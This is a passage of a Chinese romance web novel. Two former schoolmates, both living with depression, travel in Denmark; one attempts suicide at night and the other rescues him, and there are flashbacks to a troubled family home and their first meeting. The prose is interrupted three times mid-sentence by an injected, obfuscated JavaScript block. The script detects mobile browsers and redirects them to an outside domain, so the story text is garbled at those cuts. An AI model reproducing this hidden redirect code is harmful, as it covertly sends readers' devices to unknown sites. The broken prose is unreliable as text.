“怎么了?”她转过头和他对视,又立马挪开眼神。 “快到站了。” “好。” 火车抵达Humleb?k,高幸按照导航在前面带路,结果导航不知道出什么毛病,直接把他们带到了一条荒无人烟的小路上,好在有温让相伴,两人边走边聊,没一会儿就到了路易斯安娜美术馆门口。 周末来美术馆的人不算少。 买好门票,高幸拿着票以门口为背景拍了张标准打卡照。 “要我帮你拍吗?”温让问道。 “这里先不用,待会儿在海边可能得麻烦你帮我拍一下。”高幸仰头展开笑颜,“我也帮你拍。” “好。”温让回以笑容,“你把你书包里需要用到的东西拿出来放我这儿,我们把多余的东西寄存一下吧。” 大学在街舞社混得风生水起,高幸那会儿的异性好友不少,但她从来没单独和异性旅行过,也没谈过恋爱,她不知道作为普通朋友该不该这样,但温让看上去很坦荡。 他大概就是单纯的人好心善,对每个人都这样。 高幸不再多想,照温让说的做,温让把包递到她面前,方便她放东西,高幸忽然瞥到一个白色瓶子,有些熟悉,但她没细看。 “走吧。”温让重新背上书包。 “重吗?” “不重的。” 美术馆建在海边,四周是大片大片的草坪和树木,与自然巧妙融合。恰好今天又是晴日,临近中午,草坪上躺了不少人在晒太阳,还有人围在一起聊天。 “我们先逛会儿展览,待会儿可以出来走走。”高幸见温让一直在看海,接着说,“傍晚可以来海边看日落。” “好,很棒的安排。” 馆内有东南西北四翼,数条玻璃长廊连接各区楼阁,外面还有雕塑公园,如果要细致参观,得花上半天的时间。 高幸计划着从北翼开始参观,逛到考尔德露台的位置就去LouisianaCafé吃饭。 她对艺术品一窍不通,挨着看过去,只觉得这些展品奇形怪状,前卫、现代,又抽象,有的展厅不允许拍照,她只能沉浸式观展。 偶尔侧过头看一眼温让,男人正专心致志地阅览展品的英文介绍。 逛着逛着,高幸忍不住打了个呵欠,连忙用手挡住嘴。 温让轻轻一笑,“困了?是不是有些无聊?” “我只是单纯的看不懂。” “其实我也看不懂。” “啊?” “不然我就不用挨着挨着看简介了。” 两人对视而笑。 “我还以为你很喜欢美术馆。”高幸记得本科时候,有个追他的女生打听过他的喜好,据温让朋友所说,他很喜欢艺术。 “为什么这么说?” 高幸给自己挖了个坑,她左思右想,别扭地填上了,“我的直觉吧。” “那你的直觉没问题,我确实喜欢你挑的这个美术馆。”温让特意加重了最后几个字,“但是喜欢归喜欢,看不懂依然看不懂。” 而就在此时,一对男女走过来,正用英文交谈对他们面前这幅画的看法。 温让往旁边挪了一步,把观赏位留给他们。 “看其他的?”温让问道。 “好。” 还没走远,高幸就听见身后的男人对女人说,“看来你对HenryMoore了解得还不多,我可以教教你。” 她忍住笑意,憋笑的模样却落在了温让的眼里,于是在她没有注意到的地方,男人的眼底也溢出淡而温和的笑。 美术馆把室内和室外的风景结合得很巧妙,逛着逛着,无尽蓝海与绿茵便闯入明净的窗户里。 高幸站在不远处,拍摄窗外海景,斜后方的温让也举起了手机。 “好美啊。”高幸感叹道。 “是啊,真美。” 就在高幸回头的瞬间,温让不动声色地调整了拍摄角度。 “温让,你要拍吗?你今天穿的衣服还挺适合这里的。”高幸问道。 温让的羽绒服搭在臂弯,穿着深灰色的麻花纹路高领毛衣和黑色长裤,气质干净。 “是吗?” “极简主义,很北欧。”高幸说。 温让低头笑了笑,把包放在地下,走过去,“那就麻烦小高导游了。” 不知道为什么,高幸总觉得温让的情绪有些低落,但从神色又看不出什么异样。 她又在多想了。 高幸努力赶走脑子里的多余想法,凝神盯着手机屏幕。 4:3的画面,装着她曾经日思夜想的人,却不足以装进她的半分爱慕。 连着拍了十几张后,高幸忽然觉得镜头是会表白的。 至少,她感受到了。 “我想看一下照片。”温让的气息包围过来时,她心虚地颤了下。 “抱歉,吓到你了?” “没、没有。”高幸递过手机,“我觉得还不错,主要是你好看。” 温让一张张翻阅着,“是你技术好。” 他身上的味道和高中时候一模一样,一股清爽舒服的橙子味,这么多年,他好像什么都没变过。 “温让,你喜欢吗?” 温让不假思索,“喜欢。” 说完后,高幸才发现自己忘了加宾语,但温让肯定知道宾语是照片。 轮到温让给高幸拍照,已经是傍晚时分。 高幸站在巨大的考尔德雕像旁边,温让隔得很远,刚好能把她和雕像,以及铺展在海岸线的晚霞纳入画面中。 “好了吗?”高幸喊道。 “你去海边坐着,我再给你多拍点儿。” “好!” 高幸兴冲冲地跑向海边。 “慢点儿!”温让出声提醒她,结果自己不小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042616|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心踩到岸边一块凹凸不平的石头,身形晃了下。 “诶!”高幸忙伸手扶住他,“小心。” -小心。 穿篮球服的少年抬起胳膊挡住朝她飞过来的球。 -没事儿吧? -没事,谢谢。 -举手之劳。 “高幸。”男人的手在她面前挥了挥,“怎么还发起呆了?” “温让,不拍照了。” “嗯?” “我们一块儿看日落吧。”她拉着温让的衣袖,并排坐下来,“日落的时间太短暂了,我怕来不及欣赏。” “好。” 时间似乎都慢了下来,安静流淌着。 目光所及之处是在夕阳映照下,泛着粼粼霞光的蔚蓝大海。 他们心照不宣地保持着沉默,直到所有红的、紫的、橙的色彩都归于昏暗的深蓝中。 一个脖子上挂着相机的老人家走过来,推了推老花眼镜,用英语问道,“刚才我给你们拍了照片,需要的话,我可以传给你们。” 两人都有些意外。 照片上的两人挨得并不算近,天地间只有晚霞,大海,以及他们的背影,孤寂盛大的浪漫。 高幸真诚道谢,但她手机内存不够了,所以这些照片最终传到了温让手机上。 老人家用丹麦语自顾自地说了一句话,高幸刚想解释什么,他就摆摆手跟他们告了别。 “老伯说什么?是丹麦语吗?” 高幸支支吾吾地回了句,“他、他就说,嗯……今天的晚霞很壮观。” “确实,我认可他的话。” 高幸做贼心虚,装作很忙的样子低头清理手机相册。 夜幕将至,他们没在海边逗留,赶往酒店办理住宿。 因为后天的旅行地还不确定,温让把其他的行李都寄存在了哥哈市区。 住海景酒店是他在知道要来美术馆后的临时想法,高幸是个尽职的“导游”,自己本来是可以回市区的,却还是选择和他订了同一家酒店。 很多年后,高幸回忆起这个决定,依然庆幸不已。 在出租车上,温让又睡着了。 高幸悄悄瞥向他的侧颜,整个游玩过程中,他都没有表现出丝毫不对劲,但直觉告诉她,他今天很疲累。 醒来后,他又是那样端端正正的一个人。 进入各自的房门前,温让向她道了晚安。 高幸愣了下,笑着回应:“晚安好梦,明天见。” 话虽这么说,洗漱完毕后,她躺在床上却怎么也睡不着,凌晨一点她还怒目圆瞪,恨自己太亢奋,没有丁点睡意。 既然失眠,不如起床干点别的事儿。 高幸起床,拉开窗帘一看,外面乌漆嘛黑的,夜晚的大海瘆人得慌,隐隐能听到海浪拍打礁石的声音。 她需要出去走走,消耗多余的精力。 躁郁期是这样的,像一台满电机器,耗尽电量才能进入休息阶段。 海岸一个人都没有,倒也落了个清净。 出来时她问了前台,这片区域是酒店的私人海滩,深夜也很安全,她可以放心地散步。 忽然,她停住脚步。 不远处的礁石上依稀能看到一个身影。 谁这么晚了还爬到礁石上去看海啊? 高幸狐疑地接近礁石,离得越近,她看得越清楚。 那人穿着宽大的连帽卫衣,脸被挡住,浑身透着冷清孤傲的气息。 她看见那人站起来,往前走了两步。 借着明亮的月光,高幸终于看见他的脸。 “温让?!” 就在她晃神的一瞬间,海水溅开,波涛涌荡。 5. 2AM 「2AM」 高幸根本没有时间思考,跟着跳了海。 可是夜海救人谈何容易,漆黑中什么也看不清。 之前死了那么多次都没成功,难不成这次能成? 多少有些荒谬了。 还好高幸水性极佳,在触碰到衣料的瞬间,她立马顺着方向游过去。 本以为温让心存死志不会配合,没想到他也在朝着她的方向游,只是有些脱力。 她废了好大劲才带着温让回到岸边,水都不知道呛了多少口,两人趴在沙滩上猛咳了一阵儿。 缓过来后,见温让已经清醒,高幸松了口气,浑身瘫软地躺在沙滩上。 经历生死一遭,她才反应过来温让包里那个一扫而过的白色瓶子是什么了,是她抑郁期时吃的药。 -可是温让,我生病了。 -那很巧啊,其实我也有病。 他早就跟她坦白过了,是她不愿相信。 “温让,原来你真有病。” 男人嗓音沙哑,“信了?” “我不知道该说什么。”她现在脑子很乱。 任何人患上心理疾病她都不奇怪,但为何偏偏是温让? “咳咳。” “难受吗?”高幸半撑起身子看他,“要不要去医院?” “没有意义。”温让突然说道。 “我明白。”她说。 这世上很多事情都没意义。 她太明白了。 可是…… 怎么也不能是温让。 阿嚏。 夜里冷风吹过,高幸打了个喷嚏。 男人冰凉的双眼忽然眨动。 “我们回去吧。”他说。 “再等会儿,我现在没劲儿。” “好。” 就这样仰面朝天,看着黑漆漆的夜空,不知是谁先发出第一声笑,接着,第二声,第三声,直到两人笑得最后一点力气也没了。 “温让,你笑什么?” “觉得荒唐。” “你呢?你在笑什么?”温让反问道。 “我在笑……这样居然还能活下来。”高幸被冻得麻木的指尖开始发疼。 在被刺骨疼痛席卷时,男人沾满沙粒的手缓缓扣住了她的掌心。 “高幸,谢谢你。” 手腕相对,脉搏相贴的那刻,高幸回想起很多年前的一个午后。 那天正好是周六,周五下午放学前出了月考成绩,高幸的成绩比上次月考又涨了十几分,这天中午,何柔特意给她做了顿鱼头火锅,而高城也难得来出租屋一趟。 但高幸所期待的家庭和睦的场面是永远不会出现的。 这顿饭她吃得和往常一样辛苦。 何柔止不住地数落和质问,高城闷声不吭地吃着饭,高幸劝了何柔一句,“妈,先吃饭吧,有什么吃了饭再说。” “你看着吧,吃了饭你爸又要死去那个女人家里了,哪家当爸的一个月才来看女儿一次!他眼里根本没有我们这个家,根本没有你!”何柔越说越气,啪地把筷子摔到碗上面,指着高幸的鼻子吼道,“你也是没用,懂事的孩子早就把自己爸管得服服帖帖的,哪有功夫出去找女人!你俩都一个德性,没用!” 高幸从七岁开始就没能安安静静吃过一顿饭,她早就习惯了何柔毫无顾忌的谩骂,就着这些难听的话,她也能把饭菜下肚。 “死死死,你天天都在咒我死。”不出她意料,高城果然被惹恼,直接把筷子摔到了墙角,眼里恨意难忍,“这么巴不得我死,你干脆杀了我算了。” “你个杂种算什么东西?还有脸跟老子发脾气?!” 何柔一生气,脸色涨得通红,什么不堪入耳的话都往外说。 高幸默不作声地从衣兜里掏出耳机,塞进耳朵里,继续沉默地吃着饭,余光所在之处,是父母彼此辱骂时飞溅的唾沫,同老旧出租屋里扫除不了的尘埃混在一起,暴露在窗外透进来的一束阳光下。 交缠的尘埃粒子穿越过漫长时间线,诉说着十多年前那场错误的轨迹交合。 “早知道有今天,老子当年就是死也不会嫁给你!” “你现在死还来得及。” 高幸伸出筷子去夹何柔面前的那叠下饭咸菜,却落了个空。 咸菜尽数落在了高城的头上。 “你真是吗个泼妇!”高城怒不可遏,却在高幸望向他的眼神中,用残余的理智控制住了想要反击的手。 “高幸,摊上这么个妈,算我对不起你。”高城扯了半包纸巾擦去身上的油渍,说话时声音都在抖,“记得好好学习,自己好自为之。” “听听这说的是人话吗?老子就知道,你他妈就想让高幸把那个女人叫妈!高城你走哪儿去!你出门就被车撞死!!!”何柔追到门口大吼道。 高幸隔着耳机,听到了楼道的回声。 屋子陷入死一般的寂静,但静不过三秒,当何柔捂着胸口回到餐桌,看见高幸还若无其事地挑着火锅里的鱼肉,“你看看你,连你爸都看不好,刚才你爸那么骂我,你一句话也不说,还吃!你吃的都是我做的!你怎么好意思!” 或许是被刚才的吵闹扰乱了心神,一根鱼刺没被挑干净,卡在了嗓子眼。 高幸皱着眉头咳了几声,喉头依然有明显的异物感。 “卡到了?叫你吃鱼小心点,这都能被卡到,没用的东西。”何柔骂骂咧咧地去厨房拿了瓶醋过来,“赶紧喝点醋吞下去。” 等到喉头刺咽了下去,高幸便放下了碗筷,“我来洗碗吧。” “不要你洗,自己做作业去!你要有这闲工夫,现在就给你爸打电话,问问他在哪。” 高幸叹了口气,头也不回地进了屋子。 何柔又在外面骂了几句,被一道门隔绝在外。 出租屋是八十年代建的,连地砖都没有,还是水泥地和水泥墙,床也只有一张,她和何柔一块儿睡,这间小屋子被腾出来用作她的“书房”。 她的书桌是用六张废旧课桌拼出来的,上面摆满了各科资料。 高幸没心思学习,估摸着时间差不多了,何柔应该睡午觉了,她便悄悄出了门。 他们租的房子就在学校里面,离教学楼不过几分钟的距离,当初高城为了让她安心备战高考,才花了大价钱把这学区房租了下来。 只不过高城自己还留在县城上班,何柔来市区陪读。 高幸本以为他俩分开后,她能落个清净,却没想到何柔对高城的怨恨日积月累早已成山,分散成砂土,每天都往她的肩头落上一些。 她当然知道何柔这些年也不容易,更何况现在又全身心地照顾她的生活起居,她理应代替高城承受这些。 她是女儿,也是丈夫。 “诶,高幸,去哪儿呢?”高幸摘下一只耳机,看向不远处跟她打招呼的阿姨,“王姨好,我去外面走走。” 王兰就住在他们家楼下,她儿子还是高幸的同桌,何柔跟王兰关系也不错,两人经常约着一块儿去买菜。 “听李业说你这次又进步了,恭喜呀。” “谢谢王姨。” “你没带伞吗?瞧这天儿,待会儿估计会下大雨哦。”王兰提醒道。 “没事,我一会儿就回来。”高幸笑得明朗,和很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042617|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多大人喜欢的女孩一样,王兰也经常在何柔面前说,想要一个像高幸这样乖巧懂事的女儿。 “那好,你妈妈——”王兰试探性问道,“还好吗?” “还好,不用担心。” 高城每次来这边,两人都会爆发争吵,邻居们也都习惯了,只有王兰还会过问,也没像其他人一样避着他们家。 恰如王兰所言,高幸刚走出学校没多久,就下起了暴雨。 初夏的雨势来得快去得快,高幸随便找了一处躲雨,正好是市里面最老旧的筒子楼。 听说这里还是一处危楼,六十年代就建起来了,估计再过个几年就会被拆除。 高幸打量着四周,楼道里有不少人在奔走,“下雨啦快些收衣服啦。” 搭在栏杆上的被子衣衫都被收走,也有些落下的格子被单,估计家里这会儿没人,孤零零地淋着雨。 屋檐下有一长凳,长时间没人落座,缠满了蜘蛛网。 她从裤兜里掏出一叠纸巾,仔仔细细地把长凳擦了一遍,免不了沾黑指尖,可惜纸巾已经用完了。 高幸伸出手,就着砸下来的雨水,将指尖冲洗干净。 忙活完,她坐在长凳一角,拿出随身携带的MP3,MP3年代久远,音质不怎么样。 这段时间她又下载了一些华语乐坛的新歌,但听来听去,曲单还是切回了2000年周杰伦发行的专辑。 从可爱女人听到龙卷风,伴着雨声,摇头晃脑,脚尖也忍不住打着节奏。 反方向的钟前奏响起那刻,余光里忽然闯进一双白色的、沾了泥点的球鞋。 是她不认识的牌子。 往上,是湿透的牛仔裤裤脚。 再往上…… “同学你好。” 高幸发誓,这是她听过最干净的男声。 “请问,我可以坐这儿吗?” 长凳空出了大半位置,再来三个人也坐得下,高幸却下意识地往旁边又挪了挪,摘下半边耳机,“可以的,你坐吧。” 他们不约而同地都穿着最简单的白T,只是男生的T恤被雨水淋湿了不少,发梢也还在滴水。 有人在旁边,高幸开始拘谨起来,方才还随着旋律节奏乱晃的身子也坐得端端正正。 反方向的钟的词明明倒背如流,晃神这会儿,居然一时间想不起下一句歌词。 屋檐的水滴连成线,又连成片,MP3屏幕上的进度条即将行至最终。 “同学。” “嗯?”高幸转过头。 男生忽然摊开了掌心,“你想吃糖吗?” 高幸愣了愣。 男生的手指修长,掌心微微湿润着,或许是未干的雨水,小小一粒橙色包装的果糖躺在掌心中央。 他侧过半边身子,高幸才发现,他的左边胳膊还打着石膏。 “这糖是橘子味的。”男生又说。 高幸已经记不得上次吃糖是什么时候了,家里人都说,小孩子才吃糖,她都十六七岁了,早就过了吃糖的年纪。 她应该好好学习,考一个不错的大学,她应该关心父母,解决好家庭纠纷。 她应该懂事、听话,叛逆的都是坏孩子,她不能把路走歪。 男生见她一直垂眸盯着自己的掌心,忍不住追问道,“橘子味的……不喜欢吗?” 高幸的指尖触碰到他温热的掌心,拾起橘子糖,“我很喜欢,谢谢。” “对了,我叫温让。”男生望向她的双眼。 “我知道。”高幸弯了弯眼睛,脑海中闪过那张永远贴在优生榜榜首位置的证件照,“温柔的温,让步的让,对吗?” 6. 1AM 「1AM」 时间倒退回十年前,那时候的高幸怎么也想不到,全校师生都赞不绝口,被贴满“完美”、“优秀”、“品学兼优”等标签的温让,此时此刻会这么狼狈地躺在她身边。 两人的手掌只是松松交握着,夜里太冷了,无法向外汲取热量。 就在高幸想要把手抽出来的时候,温让突然紧紧攥住。 “怎、怎么了?”高幸撑起身子,坐起来,“不回酒店吗?” “回。”温让也跟着坐起来,没有松开手,“一起走。” 两人搀扶着彼此站起来后,身体四周都被寒冷包裹着,瑟瑟发抖。 酒店前台看到他们浑身湿透,手牵手走进来,先是震惊地问他们是否需要帮助,然后又想到最近在网络上刷到的一些小众口味视频。 小情侣夜泳呢,她懂。 温让礼貌地回复了没什么事,拉着高幸往电梯口走去。 “阿嚏。”高幸吸了吸鼻子,“这附近好像没有药店。” “我带了冲剂,待会儿我们都喝点。”温让说。 “还是你想得周到。” 他俩房间相邻,高幸刚进屋没多久,温让就送来了感冒冲剂。 “洗个热水澡,好好休息下。”温让说完就要走。 “温让,等一下。” “怎么了?” 高幸把擦头发的毛巾搭在肩膀上,静静看了他一会儿,不知如何开口。 温让却从她担忧的眼神中明白了她要说的话,浅浅一笑,“放心,刚才有点不受控制,我回去吃了药,会好起来的。” “是我不好,今天的行程安排得太满,让你没时间吃药。” “不关你的事,是我自己忘了,大概是……今天过得太开心了,一时间,忘记自己还是个病人。” 高幸还有话想说,却被温让催促着去洗澡,“你再这样晾下去,可能就不是一包冲剂能解决得了了。” “好,我马上就去洗。” “晚安。” 见温让转身,高幸鼓起勇气,将憋了很久的话一连贯地从嘴里吐出来,“我知道这种病短时间好不了,我也知道发病是什么样的情况,你不用在我面前忍着,我懂你的感受,今天晚上你可以随时找我,如果不方便,给我打电话也行。” “总之,就像你朝我伸出援手的那样,我也不会丢下你不管的。” 高幸说完,深深呼出一口气。 温让背对着她,她看不见他的表情。 “高幸。” “我在。” “明天我们去哪儿?” 高幸展颜一笑,“交给小高导游安排吧。” · 浴室水汽蒸腾,男人吹干头发,面无表情地看向自己左手臂。 浸了冰凉海水,十年前骨折的伤处隐隐泛疼。 镜子蒙上水雾,模模糊糊。温让伸出手,随意地抹开镜面。他看见自己那张人前总是笑着的脸,此时却只剩下空洞无神。 倒在床上时,温让已经很累,但却不想闭眼。 只要闭上眼,就会做噩梦。 梦见天台边缘那道孤独的身影,梦见他没拉住她的一万种可能性。 算了,先撑过明天再说。 温让摸到枕头边的手机,解锁后,准备调闹钟,却看见高幸发来的数条消息。 高幸:「不用调闹钟了,睡到自然醒吧,休息好才有充足的精力旅行。」 「对了,我知道明天要带你去哪儿了,新港那边有几家不错的餐厅。」 「我洗完澡了,你洗完可以告诉我一声吗?」 「我话有点多,不想回也没关系,我都理解的,我发病的时候也不想理任何人。」 「图片」(刚才在窗外拍到了一颗很亮的星星,分享给你) 温让麻木的脸上缓缓浮现出一丝柔和的笑意,看着聊天框上显示着正在输入,他没有犹豫地拨了语音通话过去。 “喂?温让?”女子把声音压得很低。 “我在。” “你在干什么呢?困不困?” “在看你分享给我的星星。” 电话那头明显顿住了,他等待着女子开口。 “如果你喜欢,以后我会多多给你分享。” “好。”温让说,“那你呢?你喜欢什么?” 一墙之隔的地方,高幸裹着被子翻了个身,呢喃道,“我喜欢什么……” 如果是几年前,她还可以信誓旦旦地说她喜欢自己的专业,应用语言学,也喜欢自己维持了多年的爱好,街舞。 尤其是上大学后,暂时脱离了家庭的桎梏,她总算可以潇洒自如地活一把。 那会儿的她还喜欢旅行,喜欢跋山涉水,拥抱大自然。 喜欢交朋友,天南海北的朋友都能聊上几句,哪怕只是擦身的缘分,她有足够的勇气接受拥有,也接受失去。 也曾追寻过星空原野,散开长发在马背上笑得放肆而热烈。 也曾和好友们并肩作战,把自己的热爱发挥到极致,拿下舞社诸多荣耀。 也曾在第一次玩滑板Ollie时摔得眼冒金星,但少女一身韧劲不认输,拍拍身上的尘土继续死磕。 也曾迷过一段时间的吉他,双手都磨出茧,到了期末考试茧还没消,龇牙咧嘴地握着笔洋洋洒洒答题数千字。 十八岁到二十一岁,那是她最勇敢的年岁。对一切未知都充满好奇,什么都想尝试。 不服输也不认输,与世界交锋千百回。 那时候的她喜欢什么? 什么都喜欢。 温让的问题忽然让她意识到,现在的她已经没有任何爱好了,即使是曾经热爱的东西,也让她提不起兴趣。 她不再跳舞,很少旅行,吉他滑板早已忘了放在哪个角落,积了多少灰。 微信列表的好友七八百,如今还联系的不过七八人。 手指的茧倒还在,只不过都是上班后帮领导写材料、改稿子,夜以继日地加班打字,磨出来的茧。 十八岁的茧是因热爱而生,二十一岁以后的茧因生存而生。 高幸摩挲着指尖,听到那边传来的轻浅呼吸声。 “温让,你睡了吗?” “还没。” “我现在……好像没有什么特别喜欢的东西。”高幸侧躺着,缩起腿。 “没关系的,高幸,这样也很好。” “那你呢?你喜欢什么?” 她印象中温让除了长了个好脑子,年年拿各类理科竞赛一等奖,体育能力也是很强的,篮球、游泳、长跑都不在话下。 所以就算高中他们不同班,大学不同校,她也总能听到温让的“传奇”故事。 她的高中班主任正好是温让班的语文老师,她曾在班上夸过温让是六边形战士。从此,高幸对六边形战士有了一个具象概念。 算算年头,温让保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042618|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送了硕博,现在应该读到博士阶段了。 “我和你一样。”温让说。 “啊?” 高幸又懵了。 他们怎么能一样?明明是千差万别的两个人。 “你也没有爱好了吗?”高幸问道。 “差不多吧。”温让说,“目前唯一想做的事情就是……” 高幸静心聆听。 “明天跟着你去新港吃吃喝喝。” 高幸很难形容听到这句话的心情,空空荡荡了许久的心房突然被一股温流注满。 “温让。”高幸的手忍不住揪住被子,“我之前的医生说,如果对明天保持着期待,是很好的迹象。” “所以,我们一起期待着明天,可以吗?” “当然可以。” 温让平躺着,屈起一条腿,右手臂枕在脑后,“那就说好了,无论如何,这几天,希望可以和你一起……过得快乐些。” -逐渐失去感知快乐的能力是抑郁的前兆。 高幸记得关容清说过这样的话。 既然温让已经开始吃和她一样的药,也有了和她一样的症状,那说明他怎么也是重度了。 他到底怎么一步步走向重度的? 完全看不出来。 高幸忽觉此行责任重大。 这一刻,她忘记了自己也是个双相患者。 “温让你放心,我一定不让你白来。” 她听见温让笑了一声,“你其实一点也没变。” “什么?” “十年前在筒子楼避雨,你也说过这样的话,不记得了吗?” …… 高幸接过了那颗橘子糖,剥开糖纸塞到嘴里。 “好吃吗?”温让问道,“会不会太甜?” 高幸摇摇头,舌尖将糖果卷到口腔一侧,“刚好合适。” “那就好。”温让的手搭在膝盖上,端坐着,“你也是隔壁高中的学生吗?你认识我?” “对,不过我在普通班。”高幸说,“可能是经常路过优生榜,所以眼熟你了。” “你说那张证件照?” “对,很帅啊。”高幸直接地夸赞道,“但是你本人更帅。” 温让稍稍偏过头去,“谢谢……我……我其实对这边不太熟悉。” “你平时住校?” “没,一般是家里人来接,今天是自己来学校拿东西,不太熟悉外面的路。” “这样啊。”糖果又被舌头搅到了齿间,轻轻一咬,碎成几块,甜蜜都溢了出来,“等雨停了,我带你逛逛?” “可以吗?” “当然可以。”高幸拍胸脯保证,“放心,不让你白来一趟。” …… “所以你还记得十年前的事?”高幸惊讶地问道,“我还以为你忘了。” “怎么会忘呢。”温让说完,又重复了一遍,“不会忘的。” “我有一个当年不敢问的问题。” “你说。” “你当时的左手,是骨折了吗?” “是。”温让沉默了会儿,“不小心从楼梯上摔下来,摔断了。” “断掉的骨头即使愈合了,逢雨天酷寒天气也很容易泛疼,你今晚泡了海水还吹了风,现在手臂还好吗?疼的话,我们明天去买点药擦擦?” 原来她都注意到了。 温让盯着自己的手腕,莞尔一笑,“现在,已经不疼了。” 7. 新港 「新港」 难得一夜无梦,高幸醒来时已经是中午,临睡前她跟温让商量好午后一点出发,这会儿还有时间收拾一下。 化妆包摆在洗漱台上,时隔两年,高幸重新拿出里面的粉底液。 看了眼生产日期,还好,只过期了三天,还能用。 眉笔、眼线笔、眼影……东西倒是齐全,就是技术落后了不少。 描眼线的时候,本来高幸的手就抖个不停,偏偏手机还响了,吓她一大跳,好不容易描到眼尾的眼线抖出了长长一条波浪线。 高幸认命地接通电话。 “hello?” “高幸?我是李听墨。” “哦哦,有什么事吗?” “温让在你旁边吗?我打他电话没人接。” 高幸划了下屏幕,她刚才发的消息,温让也没回复。 “我马上过去找他,你稍等一下,我待会儿让他给你回电话。” “行。” 高幸害怕温让出事,急匆匆地出了门,完全忘记了被自己画失败的眼线。 还没敲几下,门就开了。 温让已经整理得妥当,眉眼间又恢复了以往的清俊气。 “怎么了高幸?你看着很急的样子。” 高幸把李听墨的事转述了一遍。 “手机开静音模式了,我待会儿就回电话。” “行,那我先回去。” 高幸刚走没两步,又退回来了。 “怎么?” “房卡……忘带出来了。”高幸尴尬地垂着脑袋。 温让往后退一步,“你先在我这儿呆会儿,我去楼下帮你找工作人员。” “没事,还是我自己去吧。” “也行,但是你得先处理一下你的眼角。”温让指了指自己的眼角,说道,“这里有一条线,像是黑色中性笔画的。” “……” 天塌了。 但如此窘迫之际,钢铁直女高幸也不忘纠正道,“这个不是中性笔画的,是眼线笔。” 直男点点头,“好,我学到了。” 高幸没带卸妆巾,只能用纸巾沾了水擦拭。 眼线笔就是这样,盼着它别晕妆偏偏要晕,正经要卸的时候又卸不掉。 温让看着她在镜子前面折腾半天,“好像差不多了。” “真的吗?”高幸转过来,“自然光下,看着干净吗?” 温让弯腰稍稍凑近她,“还是不要擦了,眼角都红了。” 骤然拉近的距离让高幸屏住呼吸,“行……” 温让也察觉到两人挨得太近,红着耳根退后一步,“我出去等你。” 高幸把擦拭的纸巾丢进垃圾桶,却忽然发现里面躺着沾了血的纸巾,眉头猛地跳了一下。 出去的时候,温让正在给李听墨回电话,她试探性地打量着温让露出来的皮肤,脸上、手腕都没有明显的伤痕。 她的视线太明显,温让很难不察觉到。 “晚点联系你,进电梯了。”挂掉电话后,温让看向身旁藏不住表情的女子,“在看什么?” “你没有哪儿受伤吧?” 温让大致猜到她在想什么,“没有,可能这边气候有些干燥,昨晚我流鼻血了。” “原来是鼻血……” 自己吓自己。 “气候不适应倒也正常,在南方呆习惯了,我刚来也不适应。”高幸说道,“对了,你现在还是在南城念书吗?” “对。”温让说,“你呢?没在南城了?” “我在申城。” “挨得挺近的。”温让有些不自然地咳了咳,“我之前经常去申城参加学术会议。” “那下次你来申城可以找我玩。”高幸面上故作随意,揣兜里的手指都快把衣料搓出线头了。 “好。” 处理完酒店的事,他们就在附近找了家餐厅解决早午餐。 回到哥哈中央火车站,高幸带着温让乘坐地铁M4线去新港,看见有人推着自行车上地铁的时候,温让凑到高幸耳边说道,“怪不得来之前,李听墨问我要不要租自行车,原来这边骑车这么方便。” “是的。”高幸补充道,“就是冬天骑车会很冷。” “我上本科的时候,还加过学校的骑行社。”温让说,“那会儿即使是冬天,他们也会组织骑行活动。” 说到这里,高幸有些心虚了。 想当初关容清还没和她那位骑行社副社长前任分手,在知道温让加了骑行社后,她还跟着关容清参加过一次他们学校骑行社的郊游活动。 记得那次,围绕在温让周边的男男女女很多,她只可远远观望。 “不过那么多活动,我也只参加了一次。”温让接着说,“是在大二的初冬。” 一次?大二初冬?不就是她拜托关容清悄悄参加的那次?看来她还真是去对了,不然就错过一次见他的机会。 “那你喜欢骑行吗?” “其实我只是想体验一下。”温让说道,“冬天骑车是什么样的感觉。” 高幸初中学校离家两公里,她骑了三年,刮风下雨酷暑寒冬都没停过,大冬天出门,要戴上帽子口罩耳罩手套,只露出一双眼睛,这感觉她可再明白不过。 温让家境殷实,从小都是专车接送,他想体验生活,倒也能理解。 “那你那次——”温让还想问些什么,高幸扯了扯他的衣袖。 “KongensNytorv站到了,我们先下车。” “好。” 出站后,高幸的注意力一直在导航上,被打断的话失去了重启的机会。 步行几分钟就到了目的地,晴日新港美成了浓墨重彩的油画。 三个世纪前的彩色建筑伫立在两岸,几艘白帆停靠岸边,遮住些许房屋倒影。来来往往的行人都是轮廓深邃的欧洲面孔,偶尔见到一些亚洲面孔的游客在岸边拍照。 和煦阳光落了满身,沿着港湾慢悠悠散步,高幸的心情说不出来的舒适,连同步伐也变得轻快。 